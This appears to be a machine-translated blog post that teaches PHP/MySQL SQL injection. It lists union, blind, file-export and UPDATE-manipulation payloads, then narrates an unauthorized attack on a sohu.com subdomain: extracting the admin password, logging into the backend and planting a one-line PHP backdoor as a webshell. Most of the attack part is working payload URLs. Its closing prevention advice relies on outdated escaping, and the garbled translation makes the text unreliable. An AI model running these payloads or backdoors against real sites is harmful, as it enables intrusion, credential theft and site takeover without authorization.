PHP's SQL injection process analysis

  • 2020-05-10 17:50:28
  • OfStack

Today you learned the basics of SQL injection from the web. The focus of SQL injection is to construct SQL statements and only use SQL flexibly
Statement to construct the niubi injection string. After learning, I wrote some notes for you to use at any time. Hopefully you read this first
Solve the basic principle of SQL. The code in the notes comes from the network.
=== the basic part ===
This table queries:
http: / / 127.0.0.1 injection user php? username = angel 'and LENGTH (password) =' 6
http: / / 127.0.0.1 injection user php? username = angel 'and LEFT (password, 1) =' m
Union joint statement:
http: / / 127.0.0.1 injection show php? id=1' union select 1,username,password from user/*
http: / / 127.0.0.1 injection show php? id=' union select 1,username,password from user/*
Export file:
http: / / 127.0.0.1 injection user php? username = angel 'into outfile' c: / file txt
http: / / 127.0.0.1 injection user php? username=' or 1=1 into outfile 'c:/ file.txt
http: / / 127.0.0.1 injection show php? id=' union select 1,username,password from user into outfile 'c:/ user.txt
INSERT statements:
INSERT INTO 'user' (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
Construct homepage value is: http: / / 4 ngel. net ', '3') #
SQL statements into: INSERT INTO ` user ` (userid username, password, homepage, userlevel) VALUES (', 'angel', 'mypass', 'http: / / 4 ngel. net', '3') # ', '1');
UPDATE statement: I like this one
Understand this SQL first
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
If this SQL is modified to the following form, the injection is implemented
1: modify the value of homepage to be
http: / / 4 ngel net ', userlevel = 3
Then the SQL statement becomes
UPDATE user SET password = 'mypass, homepage =' http: / / 4 ngel net ', userlevel = '3' WHERE id = '$id'
userlevel is the user level
2: modify the value of password to be
mypass) 'WHERE username =' admin '#
Then the SQL statement becomes
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3: modify the value of id to be
'OR username =' admin '
Then the SQL statement becomes
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id=' OR username='admin'
=== advanced section ===
Common MySQL built-in functions
DATABASE ()
USER ()
SYSTEM_USER ()
SESSION_USER ()
CURRENT_USER ()
database ()
version ()
SUBSTRING ()
MID ()
char ()
load_file ()
...
Function application
UPDATE article SET title=DATABASE() WHERE id=1
http: / / 127.0.0.1 injection show php? id = 1 union select 1, database (), version ()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) is equivalent to angel, base 10
http: / / 127.0.0.1 injection user php? userid = 1 and password = char http,97,115,115 (109121112) : / / 127.0.0.1 injection/user php? userid = 1 and LEFT (password, 1) > char(100)
http: / / 127.0.0.1 injection user php? userid = 1 and ord (mid (password, 3, 1)) > 111
Determines the number and type of fields in the data structure
http: / / 127.0.0.1 injection show php? 1,1,1 id = 1 union select
http: / / 127.0.0.1 injection show php? id = 1 union select char (97), char (97), char (97).
Guess the data table name
http: / / 127.0.0.1 injection show php? id=-1 union select 1,1,1 from members
Get username and password across table queries
http: / / 127.0.0.1 ymdown show php? username id = 10000 union select 1, 1, password, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id = 1
other
Verify the 1-bit password
http: / / 127.0.0.1 ymdown show php? 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 id = 10 union select from ymdown_user where id = 1 and ord (mid (password, 1, 1)) = 49
=== injection guard ===
Server aspect
magic_quotes_gpc is set to On
display_errors is set to Off
Encoding aspects
$keywords = addslashes ($keywords);
$keywords = str_replace (" _ ", "\ _", $keywords);
$keywords = str_replace (" % ", "\ %, $keywords);
Numeric types
Use intval() to catch and change
String type
Single quotes are added to the SQL statement parameter
The following code is used to prevent injection
if (get_magic_quotes_gpc ()) {
/ /...
} else {
$str = mysql_real_escape_string ($str);
$keywords = str_replace (" _ ", "\ _", $keywords);
$keywords = str_replace (" % ", "\ %, $keywords);
}
Useful function
stripslashes ()
get_magic_quotes_gpc ()
mysql_real_escape_string ()
strip_tags ()
array_map ()
addslashes ()
Reference article:
http: / / www. 4 ngel. net article / 36 htm (SQL Injection with MySQL) Chinese
http: / / www. phpe. net/mysql_manual / 06-4. html (MYSQL statement reference)
1 security check for sohu.com
Has been published in hacker defense
Publish in http: / / www. loveshell. net
sohu.com is a large portal in China, providing many services including email. Such a big 1 website, not out of the question is very difficult, as the saying goes that the more services are not safe! This is true for both servers and websites. Recently, I learned Mysql injection, so I made a small security check on sohu.com to see if there is any SQL injection vulnerability.
If you look at sohu.com, the main site is mostly static, so you give up the idea of looking for problems on the main site. After browsing through each branch of sohu.com for 1 turn, we found that most websites used Php script, and some used jsp script. We know from experience that for the system built by Php, the background database of 1 is Mysql, as if asp corresponds to Mssql1. It seems that there are still a lot of possible problems. Due to the nature of Php (Php converts' and other characters in the passed parameters by default, so it is difficult to inject variables of character type by default), we can only inject variables of numeric type in the case of 1. Based on the knowledge we have injected, we know that the parameter 1 passed by id=XXX is usually a numeric variable, so we only need to test those php? id=XXX connection may have found a bug! Through a careful search, also make me in XXX. it. sohu. com found a problem on the connection http: / / XXX it. sohu. com/book/serialize php? id = 86
Commit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and 1 = 1 / *
Return to normal as shown in figure 1.
Then submit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and / * 1 = 2
Return no information as shown in figure 2. Empty, SQL.
From these two Url we can guess that the vulnerability exists, because the and 1=1 and and 1=2 we submitted were both executed as Sql statements! Then the other statements we submitted can also be executed, and this is Sql injection! We can also know that the variable id is treated as a number and not placed between "and", otherwise we would not have succeeded. If the variable had not filtered Sql's other keywords, we might have succeeded! I have encountered a lot of cases where the variables filter select, which is a dead end in mysql. How depressing!
Since there are loopholes, let's move on! The first is of course to probe the database type and the account that connects to the database! High permissions and the database and web machine can be saved the pain of guessing the field! Commit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and ord (mid (version (), 1, 1)) > 51/*
Return to normal as shown in figure 3, this statement is to see whether the version of the database is higher than 3, because the ASCII of 3 is 51! If the first character of the version is greater than 51, it is of course more than 4.0! 4.0 to support union query, so you can avoid 1 bit 1 bit the pain of guessing oh! Here the result is true, so the database is more than 4.0, it can support union.
Since union query is supported, let's first pop out the fields of this statement! After using union query what is very fast oh! Commit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 order by 10 / *
The return result is as shown in figure 4. It seems that the fields are larger than 10. Continue to submit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 order by 20 / *
Normal return, submit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 order by 30 / *
.
No message returned by order by 50! Appears to be greater than 40 and less than 50, so submit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 order by 45 / *
.
Finally guess that the field is about 41! Here we say left and right because some fields cannot be sorted, so we need to use union to precisely locate the field number is 41. Submit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and 1 = 2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 / *
The result is shown in figure 5. Haha, it worked! Which fields will be displayed on the page is also clear! Now let's move on! Commit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and 1 = 2 union select 1, user (), 3, 4, database (), 6,7,8,9,10 version (), 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 / *
The result is shown in figure 6. The detection of the database system is completed. We are probably not root, and the database server and web are probably not on the same server, so we don't have file rights! Commit:
http: / / XXX it. sohu. com/book/serialize php? id=86 and (select count(*) from mysql.user) > 0/*
The result returned is shown in figure 7. There is no read permission for mysql, so it is more certain that the permission is not root! Ha ha!
Since it's not root, don't be discouraged. Let's move on! We'd better look for the background before going ahead and guessing the data. Most of the time, we found the administrator's password but could not find a place to log in. In the root directory add /admin and /manage/ and so on common background addresses are return 404 error, guess a few times finally in /book/ directory admin when 403 Forbiden error, ha ha, is the existence of this directory! But landing page dead alive also guess out, depressed! But since you know there is an admin, go to Google and search:
admin site: sohu com
As shown in figure 8, we get another sub-site forum, we know that people are very lazy, usually the characteristics of the background of a place is likely to be the characteristics of the entire site, so when I tried to access /book/admin/admuser. php miracle occurred, as shown in figure 9, haha, closer to success! Here we know the background of the website, in fact, we can also get very important information, check the original file to find the name of the login form is name and password, it is easy to infer the other side of the administrator table structure, even if it does not meet the estimate is about the same, ha ha! So know why we're guessing backstage first! Continue to inject! Commit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and 1 = 2 union select 1, user (), 3, 4, database (), 6,7,8,9,10 version (), 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin / *
Return an error indicating that the admin table does not exist, try admins and admin_user, etc. Finally submit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and 1 = 2 union select 1, user (), 3, 4, database (), 6,7,8,9,10 version (), 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user / *
When the return of success, ha ha! There's User! So is it the admin table? What are the fields? Continue to submit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and 1 = 2 union select 1, name, 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user / *
Error returning null message, submit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and 1 = 2 union select 1, password, 3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user / *
The return result is shown in figure 10. Haha, it returns normally and a password appears, which should be the password of the first user in the administrator table! So what's his user name? Guess that many fields are returned error, there is no way when the input 1 ID, actually returned success! ID is the administrator's name! Commit:
http: / / XXX it. sohu. com/book/serialize php? id = 86 and 1 = 2 union select 1, password, 3, 4, id, 6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user / *
The result is shown in figure 11. Excitedly took the administrator name and password to the background login successful oh! As shown in figure 12. Now it's time to figure out how to get webshell. In the background, there is a place where you can upload pictures, but when you upload php, you will be reminded that it is not a picture file. Carefully in the background of 78 mess turned bad, found a generated php file functions, and then inserted in it for 1 sentence php back door, as shown in figure 13, points generated after prompt a success, it seems if there is no filter we should be get webshell, password is a, back in 1 words go up as shown in figure 14, ha ha, success! The script detects that this is complete!
After getting webshell, I checked on the server and found that the security of the server was good, and I could not execute the command. Besides, basically all the directories were not writable except the directory we uploaded just now. However, as a script test, if I got webshell, I would consider it a success! It can also be seen that a small parameter without filtering can lead to the collapse of a website, especially for a large site like sohu.com, which has more parameters, so pay more attention to filtering!

Related articles: